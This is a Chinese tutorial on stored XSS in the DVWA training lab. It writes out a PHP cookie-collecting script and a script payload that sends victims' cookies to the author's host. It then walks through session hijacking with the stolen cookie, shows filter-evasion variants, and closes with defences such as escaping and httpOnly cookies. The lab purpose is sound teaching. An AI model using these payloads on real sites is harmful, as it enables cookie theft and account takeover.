Web应用安全 -- DVWA -- XSS Stored

一、前言：

存储型XSS最典型的攻击场景就是：盗取用户cookie，如果被盗用户是网站的管理员，那后果非常严重！

今天就使用 DVWA XSS（Stored）演示一下，用户cookie是如何被盗取的。并阐述4种防御策略。

前提：已部署好DVWA，可参见《 Web应用安全 -- DVWA部署（Linux、Docker版）》

二、实验流程简述：

1）部署一个简单的服务：接受并存储盗取的cookie信息。
2）一些准备工作：DVWA改为low级别，修改文本域字符大小限制。
3）在DVWA XSS（Stored）下提交攻击语句。
4）获取cookie信息，并以该身份进入网站。
5）复盘分析

三、实验操作：

1）部署一个简单的服务：接受并存储盗取的cookie信息。

$ docker exec -it dvwa /bin/bash    #进入容器


$ cd /var/www/html    #进入程序部署目录
$ vim 123.php      #创建一个php文件，代码见下方，i：录入，ecs退出编辑模式，:wq!：强制保存

<?php
    $cookie = $_GET['cookie'];
    $ip = getenv('REMOTE_ADDR');
    $time = date('Y-m-d g:i:s');
    $ref =getenv('HTTP_REFERER');
    $fp = fopen('cookie.txt','a');
    fwrite($fp," IP: " .$ip. "\r\n Time: " .$time. "\r\n Referer: " .$ref. "\r\n $cookie: " .$cookie. "\r\n-------------\r\n");
    fclose($fp);
?>

访问：http://你的ip:8444/123.php?cookie=your cookie
$ cat cookie.txt    #验证，如果得到下面结果，证明部署成功~

cookie接收成功.png

2）一些准备工作：DVWA改为low级别，修改文本域大小限制

安全级别改为low

调整文本域录入限制

由于攻击脚本字符数一般都较长，客户端通过字符限制来初步防御脚本的录入，但是可以通过开发者工具将当前页面的字符限制改大，从而绕过这个初级防御策略。

这里说明一个问题：前端不可信。前端的安全、校验拦截只是初步的拦截，对一些重要的（权限、安全、业务）一定要后台做验证！这点很重要！

3）在DVWA XSS（Stored）下提交攻击语句

录入攻击脚本

<script>document.write('<img src="http://你的ip:8444/123.php?cookie=' + document.cookie + '" width=0 height=0 border=0 />');</script>

点击“Sign Guestbook”按钮。

注入成功

4）获取cookie信息，并以该身份进入网站

$ cat cookie.txt    #验证：再次在服务器上执行这个命令，查看结果。

成功获取cookie

# 验证：利用攻击获取的Referer和cookie登录
1、复制Referer地址。 http://你的ip:8444/dvwa/vulnerabilities/xss_s/
2、Chrome打开无痕模式，访问上面这个地址，会踢到登录页面.
3、Chrome开发者模式，修改本地cookie。
4、再次访问Referer地址。

是不是在无密的情况下也登录进了系统？
如果你的网站/系统存在XSS漏洞，细思极恐~！

image.png

四、复盘分析：

什么是存储型XSS：

攻击者将恶意脚本通过拥有XSS漏洞的服务存储到服务器/数据库中，当用户使用浏览器访问被嵌入恶意代码的网页时，恶意代码将在受害者浏览器上执行。
一般出现在：网站留言、评论、博客日志等交互处。

产生原因：
漏洞网站执行了攻击者上传的恶意脚本，通常形式为<script>恶意代码</script>。
这些代码不是源站的代码，而是攻击者通过漏洞服务上传到服务器，在信息回显展示时，原样被加载到网页中，浏览器将这段代码执行，导致攻击事件发生。

产生原因

防御策略：

1、限制字符大小（输入侧防御）
由于攻击脚本一般都是很长字符，所以限制字符大小是一种基础的防御策略，但是要注意的是这个限制不仅要在前端做，后端也要进行校验。例如本文，就把前端的限制通过开发者工具给改掉，从而失去防御效果。

2、关键字替换（输入侧防御）
通过案例我们可以看到，罪魁祸首是<script>标签。粗暴替换掉所有<script>字符。但是需要注意大小写及嵌套等形式的处理。例如：<SCRIPT>、<sCRIPT>、<sc<script>ript>

3、利用安全组件干掉有风险的标签（输入侧防御）
例如：
Java：Jsoup.clean
PHP：strip_tags

4、<>转义（输入、输出侧防御）
实际并不仅是<script>可以产生跨站攻击效果，例如下面（大家可以在DVWA自行实验一下）

<img src=5 onerror=alert(1)>

如果是这样的脚本，那1和2的防御手段可能都无效了。
再次分析问题本质，实际上是<>惹的祸，那就OK了，在输入和输出的时候我把<>都转义&lt;、&gt;
这种方法的好处：即便已经存储了恶意脚本，输出前仍然可以在后台转义一下，这样展现在页面的就是攻击的脚本文字，而非可执行的脚本。（大家可以把DVWA的等级调整成最高级，就会发现恶意脚本现身）

Java：StringEscapeUtils.escapeHtml4
PHP：htmlspecialchars

当然针对本例的cookie盗取，还有很多其他的安全注意事项，例如：cookie、session相关安全、使用规范等。

cookie安全：设置httpOnly=true，这样cookie就无法通过js获取，从而也能避免类似安全问题发生。
session安全：session要设置合理超时时间，即便session被盗用，拿到的可能是已经过期的，也可以降低被攻击概率。
使用规范：使用后一定记得通过应用程序或服务的退出功能进行退出。这些功能都会包含清理session的操作。